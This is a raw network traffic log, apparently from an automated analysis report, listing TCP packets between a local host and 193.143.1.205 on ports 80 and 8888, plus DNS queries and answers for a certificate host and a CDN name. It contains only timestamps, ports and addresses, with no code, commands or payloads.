Jan 11, 2025 02:16:47.933878899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933891058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933902025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933907032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933912992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933923960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933934927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933934927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.933945894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.933971882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.934261084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934276104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934287071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934298038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934303999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.934314966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934322119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.934325933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934336901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934346914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934365034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934369087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.934376001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934386969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934397936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934408903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934412956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.934415102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934421062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934431076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934437037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934439898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.934447050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934458971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934468031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.934469938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.934489965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.934501886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.935164928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935177088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935187101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935199022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935203075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.935209036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935216904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.935220003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935231924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935241938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935244083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.935254097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935264111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935266972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.935275078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935286999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935297012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935307980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935329914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.935329914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.935339928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.935920000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.935957909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.937572002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.944221020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.944241047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.944252014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.944284916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.944339991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.944351912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.944381952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.944417000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.944428921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.944461107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.944519997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.944555998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.951894999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.990885019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.990919113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.990943909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.990994930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.991020918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991103888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991116047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991297960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.991302013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991318941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991331100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991342068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991357088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991374969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.991399050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.991525888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991537094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991548061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991559982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991575956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.991592884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.991794109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991805077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991816998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991827011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991831064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.991861105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:47.991970062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.991981983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:47.992005110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.018367052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018394947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018426895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018438101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018448114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.018485069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.018523932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018534899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018563032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.018666983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018678904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018688917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018701077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018703938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.018721104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.018908024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018919945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018929958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.018949032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.018968105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019052982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019071102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019082069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019103050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019252062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019272089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019283056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019290924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019293070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019303083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019309998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019320965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019332886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019336939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019372940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019551039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019562960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019573927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019598961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019639015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019650936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019660950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019671917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019680977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019684076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019695044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019700050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019706964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.019725084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.019743919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.020199060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020210028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020222902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020255089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.020421028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020452023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020461082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.020462990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020476103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020489931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020495892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.020502090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020513058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020523071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020526886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.020534039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020539999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.020545006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020556927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.020575047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.020598888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.021167040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021178007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021189928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021202087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021209955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.021214962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021224976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021235943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021245956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021250010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.021256924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021266937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021276951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.021279097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021289110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021300077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021310091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021322966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021330118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.021342993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.021970987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021981955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.021992922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022002935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022011042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.022013903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022023916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022034883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022037029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.022043943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022049904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022053957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.022056103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022062063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022067070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022073030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022078991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022089005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022099018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022110939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022116899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.022133112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.022149086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.022876024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022886992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022897959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022908926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022919893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022919893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.022932053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.022942066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.022963047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.024230003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.031084061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.031102896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.031114101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.031141996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.031250000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.031260967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.031284094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.031337976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.031348944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.031372070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.033875942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.038320065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.077672005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.077702045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.077719927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.077774048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.077779055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.077785969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.077821970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.077959061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.077970982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.077980995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.077991962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078015089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078015089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078094006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078105927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078119040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078126907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078166008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078174114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078185081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078197002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078212023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078228951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078244925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078347921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078358889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078368902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078437090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078474045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078485966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078496933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.078509092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078532934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.078573942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.112673998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.112720013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.112783909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.112792015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.112847090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.112880945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.112917900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.112955093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.112955093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.112971067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113008976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113018036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.113061905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113097906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113111019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.113132000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113167048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113181114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.113217115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113253117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113260984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.113285065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113325119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113337994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.113364935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113401890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113415956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.113434076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113470078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113476038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.113497972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.113540888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.181952000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.558418989 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.567455053 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:48.567557096 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.567699909 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:48.574351072 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:49.527404070 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:16:49.577292919 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:16:50.772809982 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:17:01.448074102 CET	60208	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:17:15.445408106 CET	59575	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:17:27.914294004 CET	53776	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:17:01.448074102 CET	192.168.2.5	1.1.1.1	0xa64b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:17:15.445408106 CET	192.168.2.5	1.1.1.1	0x8e36	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:17:27.914294004 CET	192.168.2.5	1.1.1.1	0xb57d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
